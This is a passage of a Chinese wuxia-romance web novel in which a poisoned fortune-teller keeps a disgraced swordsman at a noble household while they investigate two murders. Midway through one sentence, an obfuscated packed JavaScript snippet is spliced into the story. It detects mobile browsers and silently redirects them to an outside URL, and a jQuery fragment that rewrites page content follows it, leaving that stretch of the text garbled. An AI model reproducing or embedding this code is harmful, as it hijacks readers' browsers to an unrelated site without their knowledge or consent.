眼看着他们已经走到竹子和石砖最密集的地方,“别往前走了”黄金善和白五说着,在附近的竹林里摸索着什么。 白五看着黄金善,他也发现这竹林似有玄机,他有预感,今晚可能会出事,他现在有点相信这位相术师的话了。 脑里刚想着这事儿,一片竹叶便擦着他的脸而过。这是高手啊,还真是来索命的,他自嘲到,真不知道他这所剩无几的命是谁还在讨。他定心在听,这林子里估计藏了四五人,都立在竹子上。 他看黄金善已经找到了她要找的东西,对视一瞬,他将眼神往上瞥了瞥。黄金善一笑,把她刚找到的小芦笋连根拔起。 他们所在的竹林立刻动了起来,只有他们所在的位置没变化,周围的竹林都在往下降,白五能听到竹林里那些人掉下竹子的声音,他甩出地上一根断竹,正中一人,竹林里其他人闻声都冲了出来。 “这小赌场搞得机关也就这样了,剩下的人你有把握吗?”黄金善四处张望,手里还拿着刚刚那个机关竹笋。 这次来的人功力不浅,把握他是没有的,刚刚命中的人让他们的包围有了破绽,白五正准备拉着黄金善从这缺口中逃出去。 “别走,外面还有埋伏。”黄金善反拽着他,将那竹笋又插回了机关里,周围地面瞬时又往上抬,显然是让剩下那几人猝不及防,白五顺势又击中一人。 黄金善就这样反复地控制那机关,白五能意识到她是在拖延时间。 可时间长了,敌人自然也能发现这机关的玄机,眼看着一把刀就朝着黄金善砍过来,白五正要运内力,一剑飞出来护住了黄金善,剑的主人随即从竹林而出,两脚正踢中白五身边的歹人,那少年转身提起了地上的剑,砍中黄金善身边的人后,剑锋直指白五。 “白五,你可以束手就擒了。” 黄金善看到那碧玺剑穗时便放下心来了。 这家伙果然来了。 “喂”黄金善走近他们,朝着那少年喊道。 那位拿剑指着白五的少年回头。 “黄金善!你怎么在这!” “别叫我全名,赶紧先带我们出去吧。” “你先等等,我这次是替我父亲来抓这个白五的!”他手中的剑依然指着白五,“你知不知道,这个人就是坊间流传的行凶屠夫,他白天杀猪,晚上杀人!” 她当然知道,她还知道,这行凶屠夫就是眼前这少年崇拜了十几年的偶像。 僵持中,白五观察着少年,碧玺剑穗如此高调,这剑应该就是御赐的江山月,那这人,就是定国公独孙蒋若木吧。 哟,这不是黄金善曾经的未婚夫吗。连未婚夫都不能叫自己的全名,看来她也知道自己这名字有点俗。 白五突然觉得这场面有点搞笑,而他也笑出了声,显然激怒了面前这小孩。 “你什么意思啊!”蒋若木震了震他的剑,正欲对白五示威。 “行了行了蒋若木,这人没什么武功跑不了的,你能不能先送我们出去,我累死了。”黄金善拽着蒋若木往前走,但蒋若木仍然有些迟疑。 “哎呀,你看你这武功现在这么厉害,打败这种没本事的屠夫完全不在话下,快走吧!” “也是。”蒋若木得意地收起了剑,一只手捆住白五的手,拽着他向前走。 真是呆若木鸡。几年了一点长进也没有,还是蠢的令人发指。 黄金善从小就嫌弃蒋若木。她自小入宫学习相术,本就比较早慧,在她已经开始为宫中工匠卜卦算打井之地时,蒋若木还在和3岁的小皇子一起捅鸟窝。在得知父母有意让自己嫁给蒋若木的时候,她直接绝食了三天。 她当时就和父母说过,她和蒋若木的八字看似木水相合,其中却暗藏煞气,万万不能成亲。 真是万般都是命,半点不由人。他们定亲的前一天,相府便灭门了。 这几年,她和蒋若木也偶有通信,他父母对她满是心疼,暗中没少打点翠玉楼,才能让她这般自在。而他则是叛逆得恨,她走后他直接跟着定国公去了边关习武,说什么学成以后要闯荡江湖。 这三人一路无话,就这么沉默地走着。 往事,他们都不想提。 蒋若木在翡城的住处倒是离此处不远,站在高门大院前,黄金善已经开始规划了。先沐个浴,这两天自己累得要死都没换衣服,然后晚膳要叫烤鸭和多宝鱼,她以前在蒋府就常吃这些,也算是有段时间没饱这个口福了,城西的蜜饯得叫上,今晚还得卜一卦……对了,她如今和白玉春一样,还需要一个新身份,这个估计也得麻烦蒋若木的父母了…… 在这蒋府门前,白五也在规划着,这姑娘进了蒋府肯定要沐浴用膳,他一个男的自是不方便和她在一起,届时正好能溜,那蒋若木虽有几个招式,但说白了也就是年轻人内力足,他有把握不费半点内力就甩了他……今晚先外面找地方躲一晚,明天再去何家赌场找那个吴展…… 蒋若木把他俩带进内院的小亭子,便去安排住宅了,白五手脚被捆着,蒋若木让黄金善帮忙看着。 “你是不是在盘算着怎么跑啊?”黄金善看着白五,眼神里又是带着狡黠。 “你为什么不让他叫你全名啊?”白五看似在问,眼里的嘲笑真是盖都盖不住,恐怕想着把她气走自己就能早点跑。 “和你有什么关系。”她模仿这刚刚白五的语气,她平生最喜欢报复人。 “黄金善,这名字有点俗啊,你要取化名的话要不然就叫黄善吧。” 她没搭理他的嘲笑,“黄姓属土,土生金,金生水,上善若水。我生来是八字全水的命格,盛极则衰,因此名里要补水。” 她不是觉得自己名字土,若是细究起来,她名字自是有玄机的,只是这名字从蒋若木那蠢货嘴里念出来,就感觉是真土了。 “你呢,你为什么叫白五?” 她无视了自己的嘲笑,白五自然感觉有些不好意思,只好答她,“因为第二个春天是第五个季节。” “四季巡回,重来的白玉春,有意思。” 甲寅庚午甲寅乙亥,白玉春的八字她倒背如流,坐双寅木羊刃驾杀,白玉春这金木相映的名字倒是配他,如此高贵的格局,出现在她参的天机里毫不奇怪。但这羊刃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283090|182550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驾杀应是杀伐果决、能掌权柄之人,和现在的白五却是不太像。 从遇到白玉春开始她就感觉思路乱乱的,她需要白玉春帮她解释那天机,她本以为他还会是那白衣持剑的少侠,没想到是个遇事就跑的屠夫。她要怎么向他开口呢?说他是她算出的天命之人,让他与她一起破了天机?她感觉都能想到他脸上嘲笑的表情…… 手脚上的绳子都解得差不多了,白五看她在沉思,想着干脆拍晕她就跑吧。 “走了就太可惜了,”黄金善突然说道,“你想要的东西,也许蒋若木就知道线索呢?” 她看向他,“况且,现在天还是没亮呢,我之前说你今晚有死劫,你看我也没说错吧。” 月色正好,他能清楚看到她的眼神,她这眼神仿佛就有一种让人能相信的魔力。她功力确实深,那竹林山势的机关,他是听说过,但去了何家赌场几次,倒也没注意到,现在细想,竹林和石砖间距的差异应是由于机关把山压平了所致,她拖延时间,恐也是算到今晚会有援兵。 要是白玉堂还在,他肯定会倾尽一切把她收入麾下。但他现在不想想这么多了,他从小便是孤儿,被数位义父义母一起养大,秦王盟血洗白玉堂的时候,他的五位义父义母都为保护他而死,当年悟心和尚断他还能活十年,如今九年过去了,他已而立,离死不远了。 九年来,他秘密养着义父义母5位亲生子,并立誓要把义父义母的所有功夫留给他们,如今只剩苏凌云的《凌云九式》了。 “善姑娘,我不知道你为何要缠着我,但我已无意任何江湖纷争。” “我活不了多久了,恐怕是帮不上你的忙,如果哪天我突然死了,可能就是命就到这了。” 黄金善不知如何接这话。 但她知道她再不说话的话白五就要跑了。她摆弄着茶杯里的水。 “你先别走。”黄金善感觉自己的脑子已经很久没有这么高速地运转了。 “你就当我是你遇到的一个神女吧,我能告诉你三件事,你有什么想问的就问吧。” “我没什么想问的。”白五显然还没傻到被这种话套牢,他看黄金善搞着茶水像是在算什么,他倒要看看黄金善有什么名堂。 “第一件事,你命不该绝,死不了。” 这第一件事白五一点也不相信。 黄金善看白五没反应,便自顾自答了,“第二件事,你要找的东西,就在蒋府。” “第三件事,你还有一段机缘,若是想让在乎的人平安顺遂,需得抓住这机缘才行。” 就在蒋府么,白五心想着,找到《凌云九式》,会是如此容易? 黄金善看他思考了起来,算是松了一口气,关于白玉春的事她总是算不确切,刚刚三点当然都是胡诌的。看他这样子是中了什么毒,所以说自己必死,这简单,世间万物皆有相生相克之物,续命总有办法的,至于要找的东西,她才不管是什么,反正能让他留在蒋府就是了,再说了,蒋家宅邸少说十余处,庄子得有百处,这些都能算蒋府吧,在乎的人更是随便乱扯的,他这样要死不死的,肯定有在乎的人。 不过刚刚这三点属实有些虚,看他神色,最在乎的怕是第二件事,第三件事固然重要,但他好似不怎么相信,那就先探探他要找的是什么。 黄金善,虽是相术师,但最是相信人定胜天。 “你知道今晚要追杀你的人是谁吗?”黄金善问着,脑里已有盘算。 “不知道。” “那你要找到那东西怕是没那么容易啊,”既是认定自己将死,他在找的应该不是什么解药,那还有什么呢,“你不觉得你要找到那东西可能会需要我的帮助吗?” “不觉得。” “这样吧,你在蒋府待一晚,我今晚就起卦算算那东西在哪里,若是成了,你欠我一个人情。” “好啊”白五爽快答应了,他又不亏,要跑明早也是一样跑,成了他更是不亏,他活不了多久,反正也没人让死人欠人情的。 晚上,黄金善终于吃上了城西的蜜饯,这蜜饯薄,她喜欢拿这个起卦。 送来蜜饯的蒋若木还在旁边叨叨个没完,什么这次抓住白五,他爸就同意他闯荡江湖,什么白玉堂沉寂九年,自己就是让白玉堂复苏之人。 说着说着就要扯到他的偶像白玉春,说他少时是如何看白云春行侠仗义的,如何崇拜白玉春少年成名、天下第一。 蒋若木以前也没少在她面前叨叨这些,所以她始终相信白玉春,还会是那个白衣少侠。现在想来,她的那些错觉,罪魁祸首就是蒋若木。 说到兴头上,蒋若木突然抓住黄金善的手,“善儿,你快帮我算算,白玉春是不是还活着!” “他还活着。”黄金善敷衍地说。 蒋若木马上蹦起来冲了出去,说要再去查查白玉春消失前最后的行踪。 终于走了,蜜饯也已被她啃成铜钱模样。 5. 枯木逢春 序 那个打败他的人说,他最大的弱点是心软。 剑硬心软是剑客的大忌。 但如今,他已失了他的剑,没法再失了他的心。 ——枯木逢春—— 蒋若木第二天见到黄金善时,她瘫在桌上,面前的蜜饯和茶杯上都是血。 他恨极了自己,他忘了黄金善早已没有贴身侍女了,竟没有找人在她身边陪着,昨晚出的事儿,早上才注意到。 他在国公府是这一辈唯一的孩子,所有长辈都视他为珍宝,捧着、护着、不能离开他们视线之内、更不能偏离他们设定好的轨道,他好似没有自我,只是国公府的某种寄托。黄金善大他一岁,虽然从小就嫌弃他,但却是唯一把他当做普通人看的同龄人,在宫里犯蠢的哪些年数,无一不是她替自己遮掩过来的,连自己闯荡江湖的这点寄托,都是黄金善帮自己算的。 他对婚约也是诧异的,父母都笑他是没开窍,他这般在意黄金善,怎么会是不喜欢呢。但他自己知道,自己虽然没黄金善那么聪明,对感情却是特别敏感,他对她是仰慕、是崇拜、是敬重,是渴望成为她那样的人,渴望像她那样淡泊而慈悲,渴望像她那样救人于水火,这绝不是爱情,却比爱情珍贵百倍。那些大人从来只当黄金善是个小辈、又是个女孩子,这种感情,他们不会懂的。 蒋若木已去寻了城里最好的医师,现在还在忙前忙后地指挥侍女给黄金善收拾。 白五就站在院中的大榕树后看着,本想听了消息就走,没想到能横出这样的变故。 现在其实是白五逃跑的最好机会,但这样做他恐怕真的会良心不安,况且黄金善这阵仗,没准是卜出了什么。 “蒋公子,这姑娘似是中了奇毒,这毒极阳,能吊着她的命,却也只是苟延残喘,如今这命数恐怕也不过三四余年。像昨夜这般毒发,寿数必定有损啊。” 白五听着医师的诊断,和他先前想的差不多。烛龙之毒至阳,喜热喜燥,人一用脑便燥,天气热、思绪过重便会毒发。他体内的土中碧则是至阴,需要用全身内力护住心脉,稍有内力渗出,便会体寒毒发。只是没想到,自己算是半截身子入土,善姑娘也没好到哪里去。 这相术师用不了脑,剑客用不了内力,真是造化弄人的一对,他心想。 不过,他记得,这烛龙之毒,似是有解药的。 既然不打算走,他准备先探探这蒋府。 黄金善费了好大的劲才睁眼醒了过来。 她做了个很长的梦。相术师做梦是很痛苦的,所以她已经很久没有做梦了。 梦里她看到那白衣少年在喝酒舞剑,身边围着一群长辈,似乎是还有个姑娘。 昨晚那三个问题她一个也没卜出来,好在这梦给了她不少指示。 听到房里的动静蒋若木赶紧跑了进来,“善儿姐,你醒了。” “你还知道要叫姐呢”黄金善笑了,却难掩面色苍白。 蒋若木催着那医师给她把脉,她却低头对蒋若木说了什么,蒋若木便指挥那医师去了别处。 黄金善坐起来喘了口气,不多时那医师就回来了。 “你猜的不错,那白五果真是因为中毒才武功尽失,他如今的内力都在集中护着心脉,”蒋若木一本正经地和她解释着,“所以他看着羸弱,若是爆发起来,实力不容小觑,不过他也会因此折寿。” 黄金善喝了口茶,已是许久没喝上这种好茶了,“可知他中了什么毒?” “那医师说是巨阴之毒,但拿不准。” 巨阴之毒,她心理大概有数了,天下至阴之毒便是土中碧,巨阴之毒唯有此毒无解,其他的毒都不足为惧。能让天下第一剑客都折在此毒之上,也只能是这土中碧。 黄金善心里正得意,她昨晚想卜关于他命数的第一个问题时就吐血晕倒了,若不能知道白玉春的身体情况,确实难办。但相术师有时也不能太过依赖自己,这不,找个医师随便问问,便也能猜个大概了。 “少爷,不好了,那犯人不见了!”门外的仆人突然喊道。 黄金善听见这话,穿着单衣就冲了出去。她决不能让他走,若真如他所说,他活不了多久了,她更不能让他消失在自己眼前,焉知这次分别是否还有下次遇见,她不能错失这天机,更是讨厌这种触摸不到又要擦肩而过的感觉。她已然顾不上自己的呼吸了,东厢房西厢房前院后院一间一间地找。 她找到他时,他正站在宅子三进院西南角的梯子上。 他看到她时,她面色已憋得通红,不用把脉也知道她气血攻心。 白五正探着这宅子是不是还有能藏东西的隐蔽院落,不想这宅院西南角外面就是街道了,全然没有什么特别的空间。 她喘得说不上话,他突然意识到,她是不是以为自己要跑啊,怕是关心则乱,完全忘了她昨天说的他要找的东西就在蒋府。这么看来,昨天她果然是骗他的。再说了,他这轻功,逃跑还需要用梯子吗。 “你别走。”哪怕三个字她也是上气不接下气。 “你要找的东西是功法秘籍吧。” 昨天的梦里她看见的那些长辈,应该是白五的义父义母,也是他的师傅们,细细回忆,其中有两位长辈怀里还抱着孩子。那会她便开窍了,要说有什么是白五的遗愿,那必然是找回他的师傅们给他留下来的功法秘籍,且很有可能,他还要将这些功法秘籍再传给师傅们的后人。 “你的五位师傅分别传授你内功心法、轻功、拳术、剑术、机关,其中只有三位留下了书册,《流云功》、《千机策》、《凌云九式》,这些我一个一个算,总能算出你要的是什么。”她说话仍是又喘又急,气血已是涌极而落了,白五眼看着她嘴唇从发紫到发白。 她还在自顾自说着,没注意到他眼里的心疼。 “不,不用这么麻烦,你自创的心法枯木逢春远在流云功之上,少 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蒋若木看到黄金善又吐血时简直吓得要晕了,而且她居然还在白五那个杀人屠夫怀里。他赶紧命人把白五又抓住锁起来,把黄金善送回房里让医师用针灸吊着。 对于刚刚的场景,白五亦是没缓过来。 蒋若木让人用锁链捆着他,他一边运气,让内力重新护住心脉,一边沉浸在他眼前那些画面里。 他只要一闭眼,就无法从那些画面里逃脱出来。 苏凌云,他最小的义母,就是这样吐血死在他怀中的。 她也曾是一代武学奇才,她不甘自己自创的凌云九式没法传给白玉春这个男孩,便完全依靠理论知识又创了一套男式拳法教给他。他这位义母年龄虽最小,武学造诣却最深,不管是内功心法、轻功还是剑术,凡经凌云师傅点拨,多数能在其他师傅的教导上更上一层。 她无意争夺武林这榜单,若是她有意,天下第一也必能收入囊中。 就是这样一位天才,这样一位武学大家,这样一位本有可能颠覆武林的人,却和他一同中了土中碧之毒,还在临死前把所有的内力传给了他,让他苟活这十年,她却从此殒命。 他不解、不甘、不忿,却不敢不满。他不配。 他不懂他这样的人,缘何值得她们以命数为代价相救。 他骄傲自满、自以为是,五位师傅捧着他,悟心和尚让着他,他竟真以为这江湖就是如此和谐,还满腔热血地想要匡扶正义。他建了白玉堂便成了全江湖的靶,自己却狠不下心去成为那刃。心软至极,不忍杀人,终落得被人所杀。 正因为这些,这《凌云九式》是他最不忍流落在外的秘籍,也是他找了最久的一本。凌云师傅还在时,他从未翻过这本书一眼,如今却成了一桩心病。 黄金善为他求得这《凌云九式》,不知又要舍去几年。 他已一无所有,他拿什么去赔。 6. 喜穿白衣,因为他从不沾血 序 传说中的大侠总有一把好剑。 白玉春的剑,是一把未开锋的剑。 他从未杀过一人,便能称霸这武林。他称霸这武林,却从未杀过一人。 ——喜穿白衣,因为他从不沾血—— 黄金善彻底恢复醒来已经是三天后了。 这三天,白五真就乖乖的待在蒋府,等着黄金善开口说要他还的人情。 当然这乖是表面上的,他偷偷解了两次锁链,跑出去找过吴展、也去云飞死时所在的房间看过了。为了不被蒋若木发现,回来之后再偷偷把锁链套上,自己绑自己,自然是绑得十分蹩脚的,但蒋若木竟然真的没有发现过,他算是知道黄金善为何对蒋若木如此嫌弃了。 他偷偷在蒋若木面前暗示了两次,蒋若木已经意识到白五这个双面屠夫、翠玉楼云飞案、何家赌坊案均有所关联,决意要将这几起案子一起查。 当然,案子怎么查白五不感兴趣,只是他已经决定不再逃了,他这人一贯心软,黄金善为他找到了《凌云九式》的线索,他总得为她找找烛龙之毒的解药。 黄金善醒来便说要见白五,蒋若木便把他压了过来。 她一眼看出这锁链根本锁不住他,但他还是像一个犯人一样乖乖站在自己面前。 “若木你先出去吧,我和他单独聊聊。”黄金善用杯盖撇撇茶叶,漫不经心地吩咐着,宛若是这蒋府的一家之主。 “好的。”蒋若木还真就惟命是从。 她看着白五,蒋府对犯人也是人性,还给他换了衣服,他肩宽,麻布的衣服好似挂在他双肩上,他的头发就这样散在肩后,面上的胡渣几天没剃,比上次还要乱了。 这几天跑来跑去,累得像是赶去投胎,她还未好好看过他。 要说这曾经的天下第一剑客,关于他的传闻无一不是赞扬他多么风流倜傥,少年最喜白衣,面如冠玉、长发飘逸,为博佳人一笑,用内力催得山南遍地花开。 而今的脸上却是看不到当年意气,他下颌清瘦,桃花眼中已泛不出水光,剑眉垂下处处透着疲惫。 “你要的人情,想好了吗?”他见她不说话,便把话题引回这正事。 “早就想好了,一会让蒋若木给你拾掇拾掇,出去买几身衣服,头发也打理下,尤其是这胡子,我看这种长长短短的东西就浑身难受。” “然后呢?” “没有然后了,我的要求就是你把自己收拾得帅一点。” 这“人情”她可是思量了许久的,当天下第一的这些年,她最是清楚不过,要说什么最能衬托天下第一的气质,可不就是身边围着一群美人吗。若不是蒋若木生得好看,她也不可能在宫里次次都帮他。如今她也还不知道天机那画面所谓何意,现下只能先跟着白五一起行动。《凌云九式》还在原来的地方,那就是还在原来的白玉堂,如今的白玉山庄,白五肯定是要去找的,她正巧也想去那看看,看看能不能找到和天机中相似的画面。 既然要一起行动,白五得让她看得顺眼才行。 “就用你这张漂亮的脸蛋还我人情吧,快去吧。” 她把蒋若木叫了进来,吩咐了两句,蒋若木满脸震惊却不敢不从。 “对了,衣服要买蓝色的,我喜欢蓝色。” “还有,别穿白衣服了,白衣服克你。” 想到这,黄金善的思绪又飘了。这木火通明最是忌金,白玉春天天穿白衣服可不就是会倒霉,不过她倒是喜金,不知道对白五来说是福是祸。 他们走后,黄金善躺回床上想这几日的事。 拉拉扯扯这么多天,翠玉楼云飞案、何家赌坊案也该推一推了,蒋若木这个小跟班她用得最顺手,她得替他破了这案,好让国公府的人同意他继续在外游历。 这案应没有那么复杂。她观吴展第一眼,便知他身上有血案,怨气重,戾气却不重,不是仇杀而是临时起意。这么看何店主和云飞都有可能,何店主的死状她并未瞧见,云飞死时她浅看过,没有什么挣扎痕迹,死时双目圆睁很是诧异,应是被未料到的人从身后一剑刺死。 那天她实在痛得太厉害了,完全没注意到房里的动静。也是奇怪,虽然她拉着帘子,但是明眼人进门便知床上另有一人,怎敢在此时间动手,岂不多一人知道自己杀了人。 托白玉堂的福,这江湖上并无那么多人敢杀人。无人不知无人不晓,天下第一剑客白玉春,最恨武林中人借武力杀人,他信奉凡事应尊律法,他治下的江湖,切磋武义不得致人伤残,门派争执皆由白玉堂开堂公审,不得私下寻仇斗殴,习武之人,更是不得借武力欺压平民百姓……凡违此律者,他会废其武功,将其抓入官府大牢,再由衙门审判。 白玉堂建立之初,不服之人甚众,但敌不过白玉春手上的无锋剑,无锋剑,顾名思义,是一把未开锋的剑。白玉春就凭着这把没开锋的剑,打服了武林众人,纵然他不下死手,江湖之上也无人能敌。 白玉堂虽只存在两年,但如此前卫的观念让整个武林为之一颤,更是让白玉春收获了无数信众,蒋若木就是其中之一。白玉堂消失之后,这观念仍影响武林至今,各门派弟子出关,常要背诵白玉春写的《江湖武律》。 这天下海晏河清,纵使武功再强,常人也是不敢随意杀人的。 那人敢在她在时下手,应是知道她的情况,料到她毒发之时不可能清醒,此事知道的人不多,最是清楚的便是云飞本人,可以此探探吴展。白玉春此人如此爱匡扶正义,历经此事他绝不可能袖手旁边,看他身上那锁链蹩脚的样子,他肯定已经审过吴展了,回头问问。 黄金善虽只二十一岁,但相人无数。江山易改,本性难移,这命数无论如何多舛,世事无论如何变迁,人的底色是不会变的。无论他伪装得多么懦弱、胆怯、贪财,他心里总有一处,是属于这世间正道的。 她又何尝不是如此呢?她已没了家世、没了皇家给的荣耀、没了那满身的贵气,唯余那一心自负,这世上唯有她自己,相信她能救世人于水火。 蒋若木押着白五回来了,蒋若木将黄金善的话贯彻到底,白五连里衣都未着白色。 黄金善盯着白五看,他感觉浑身不自在,蒋若木逼着他里里外外都着蓝色,群青湖蓝层层叠加,哪有人这么搭衣服的,他只得自掏腰包买了个赤色腰封,如此一搭,倒是衬得贵气,比他身旁的蒋若木还像国公府的独孙。 他修了面,拂去了脸上那些杂毛,他不似世人想象中江湖游侠的样子,眉眼甚是柔和,面颊消瘦,像是等着参加考学的书生。只是他眼里那层雾气仍未散,为他原本的柔和平添一股伤怀。 她凑近他,盯着他的眼睛。 “你是不是,眼神不太好?” “善姑娘,我确是目力不济。” “你目力不济?我记得你还是画师啊。” “善姑娘,为女子作画不必看清她们的脸。” 蒋若木满脸疑惑,黄金善却已经笑出了声。是啊,望气质,问喜好,如何形象便也浮出了,况且,哪有女子不想要貌美的画像。 “行了,”黄金善转身坐在榻上,翘上腿,“说吧,这几日你们都查了些什么。” “这何家赌场上上下下我都已摸清了,凶犯绝不是那吴展,”蒋若木立马说道,就像个邀功的孩子,急着把自己知道的全盘托出,“何家小妾与管事私通,两人容不下家主,便想着将其除了,再用善儿姐你的血嫁祸给吴展。” “你可审过那吴展?”白五问。 “他又不是凶手,有什么可审的!”蒋若木回到,实际上他当然审了,只是没审出什么不妥,而且这白五也是嫌犯之一,还试过刺杀黄金善,凭什么质问他。“还有你!吴展是不必审,你我可得好好审一审!” 黄金善没搭理他,转身问白五,“你呢,你查了什么?” “我审了吴展。”白五淡然说道。 “你审了吴展,你怎么审的吴展???”蒋若木诧异。 “安静。”黄金善瞥了蒋若木一眼,他随即噤声。 “他只知道喊冤,说你的血是何店主逼着他取的,问其他的,均是闭口不言,我便先去云飞死时的厢房看了看,那窗台上有向内的指印。” 向内的指印,黄金善开始想,那就是从窗外爬进去的痕迹。 “奇的是,窗台上方有脚印。”白五接着说,“且我在翠玉楼翻找过,未找到你说的那把刺穿云飞的剑。” “窗台下方有指印上方有脚印,是翻云功!”蒋若木奇道,他倒是从未注意过这个,还以为吴展真是被冤枉的。 翻云功这种轻功实为罕见,习此功者靠向上翻腾达到某种高度,若有支撑点,可在半空中停住呈倒立姿势。 如此罕见的轻功,全翡城恐怕也就云飞和吴展二人。 有此一证,云飞一案是较为明了了,吴展作为云飞的妹夫,两人情同兄弟,知道黄金善毒发后会彻底昏迷并不奇怪。 接下来,便是何家赌场案,“何家那个小妾和管事,是怎么说的?” 蒋若木立刻抢答,“两人只供认了他们确有要杀何店主的想法,他们得知家主在找吴展要你的血,本想直接用你的血然后嫁祸给吴展,但那日场面混乱,有一纨绔坚称牌局里有人出千,要何店主主持公道,争执中 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数天才发作,那这案子可就复杂了,蒋若木立刻问,“那有没有可能中毒后立刻死亡呢?” “我觉得很难,我从未习过武,服用烛龙药丸时,都没有立刻身亡,而是先昏迷,事后师傅再给我用上好的药吊着,便又缓了过来。” 她不免又想起当时的情景。天机在她耳边唤着白玉春的名字,她以为那是她生命的最后一刻了,她的感官已在渐渐消散,眼前开始浮现出生前的景色,直到有人给她嘴里塞了什么东西,她感觉自己在烈火中焚烧了三天三夜。醒来时,她在师傅府里。 “烛龙本是剧毒,”师傅在一旁给她熬着药,“靠着巨阳之力重新吊起了你的气血,但你这身体已是强弩之末,精心养着,还能再撑几年。” 她口舌发干,说不出话,师傅把她抱进怀里,“你就留在我府里吧,我照顾你。”他轻拍她的肩膀,仿佛小时候那样。 “善儿,你是不是参了天机”他喂她吃着药,一边问道,“天机可曾告诉你什么,若有未解的迷,我来替你解。” 呵呵,她就知道,谢飞光,她这师傅,绝不会留半点柔情给无用之人。 蒋若木细细观察着黄金善的神色,他猜她又想起那时的场景了,看她神色稍缓后,才继续说道,“既是不会立刻身亡,那便还是有可能是吴展干的。” “不会”白五又插嘴,“我给吴展的罐子,也就是事后管事手里拿的那个,我们在杂物间看到时,罐子并没有打开过,那时何店主已经死了。那装毒的罐子我挑选过,为免在运输中误伤无辜,封盖后是绝对密封的,打开也非常的费力,但罐子若是打开了,便没有办法再关上。” “这绕来绕去,又绕回去了。”蒋若木开始抱怨。 “行了,卜一卦就是了,给我拿点竹签吧。”黄金善站起身抚了抚裙子,正准备发力。 “不行!”蒋若木立刻拒绝了,“你前两天都占得吐血了!你这几天都不许卜卦了!” 难得强硬。别的事他都可以听她的,但他不许她对待自己的生命这么随便。 “那你说,这案件如何推进?”黄金善很是无语,她吐血是因为白玉春,又不是卜卦就会吐血。 蒋若木被她问懵了,又心虚地别开眼睛。 “两个核心问题:吴展为何杀云飞、何店主何时中的毒,”白五说着,“两个核心物证:吴展的剑、何店主中的毒。” “别忘了,窗台上的指印脚印,只能证明吴展去过那屋,并不能证明云飞就是吴展杀的。何店主中了巨阳之毒,也未必就是烛龙。”白五要推进他们的速度,“还有,我记得你先前说,吴展和翠玉楼似是有亲缘,此事你可有头绪?” 黄金善摇摇头,“太弱了,判不准。” “如此,便先去找剑吧”黄金善拿上帷帽往外走,“剑不在楼里,怕是在尸体那,何店主中的毒仵作辨认不出来,但中毒时间应是可以判断的,若木你让仵作重新看看。” “好的”蒋若木应道,看着白五跟着黄金善走,他立刻拦住,“善儿姐,你还要带着这个屠夫啊!你不能这么相信他!” “他没杀过人,你放心吧”黄金善拽着白五的手臂,甩开了蒋若木,“你就当他是我的侍从,不要对他叽叽歪歪的,吵。” 蒋若木立刻就焉了,“那我……” “你也一起去啊,抓紧点。”大少爷也是难伺候,她可是好不容易找到他的偶像,真是没有半点眼力见。 听见黄金善的话,蒋若木立刻又活了起来,挑挑拣拣带上一堆东西。 三人于是启程。 7. 受命于天,执棋天下 序 他说,登高必将跌重,你还小,不懂。 她却说,跌重又如何,跌得够重,不才能体会到飞的快意吗? ——受命于天,执棋天下—— 云飞埋在城南外。 却不知是谁埋的。 三人先去的乱葬岗,找不见云飞,便又去了附近几个墓地,发现云飞竟已体面地下土了。 “找不到剑,要开棺吗?”蒋若木一边摸索,一边问道。 “不必了。”黄金善突然有点悲伤,她自幼便习易经,擅八字纳甲,后为帝王所用,在宫中习得紫薇观星,但相府覆灭后这三年,她在翠玉楼见苍生流转,唯擅望气相人。 云飞是不折不扣的好人,甚至面相上还能瞅见今生的福报。 她怎忍心开棺。 “去翠玉楼吧。”黄金善摘下帷帽,对着云飞的墓鞠了一躬,“去探探那亲缘,也问问当时抬尸体的人可知是谁埋的云飞。” 一路上,三人无言。 “我让底下的人查过云飞,真是个大好人。”蒋若木叹息道,“妹妹去世、妹夫入狱,他一人养着自己和妹夫两家老人,尽挑镖局里那些没人干的苦活,一辈子也未娶亲。” “如今四位老人陆续都去世了,妹夫也回来了,他有了些积蓄,便常去翠玉楼,肯定是看善儿姐你可怜,你这么瘦他怕你没生意只能挨饿,想过来给你送钱。” 没人说话,只蒋若木继续念念有词,“要是白玉堂还在就好了,谁要杀云飞这样的好人,白玉春肯定立刻就抓了他废了他武功。” “你就这么崇拜白玉春?”黄金善偏偏要在白五面前问。 “崇拜啊!我小时候被绑,可是白大侠救的我!”蒋若木始终认为那是他人生最精彩的画面,“白大侠拿他那柄没开封的剑,不见一滴血,就打趴了四五个歹徒,他只留下一个字。” “是什么?”白五问。 “滚!”蒋若木答得深沉,努力在模仿他记忆中白玉春的神情。 白五看着他,蒋若木的神情他是看不真切的,但白五的眼神里透露着一种说不清道不明的哀伤。 这哀伤里有痛苦、有忧愁、有淡然,唯独没有怀念。 “我这么崇拜白玉春也有你的原因啊善儿姐,”蒋若木想到那事儿便笑了起来,“你在我很小的时候说过,我会成为和白玉春一样的大侠的!” 黄金善微不可察地叹了气,那时蒋若木9岁,她才10岁,那会儿正是白玉春建立白玉堂名声大噪的时候,她在宫里学习相术,是真的嫌这小屁孩烦人,便随口胡诌了这段,想给他找点事做。 黄金善没想到自己10岁的时候就这么会骗人了。 “白玉春一样的大侠,是什么样的?”白五发问,那往事太久远,仿佛他自己都已忘了自己是什么样的人。 “那当然是少年成名、天下第一、快意恩仇、匡扶正义!” “少年成名有什么好的,”白五笑得疲惫,“天下第一又有何用,登高必将跌重,你还小,不懂。” 蒋若木正想憋话反驳,黄金善深深地望着白五,“跌重又如何,”她知道自己这话说得张狂,但她神色未变,“跌得够重,不才能体会到飞的快意吗?” “游龙翔于天,焉知他是否堕于神山。” 白五也望回黄金善,他本也只能看清她的眼睛,但此刻,他好像才真正看清她的眼睛。 那种眼神,是他曾执掌武林时也未曾有过的意气。 那不是少年少女望向未来的意气,是受命于天、执棋天下的意气。 一个活不了多久的人居然也能这样。 晚风吹过这城南的林,他的生命已在这缕缕风中消散。 命薄如纸,他日日接受这月光照透他的命。 而如今,她的目光竟也能照透他的命了。 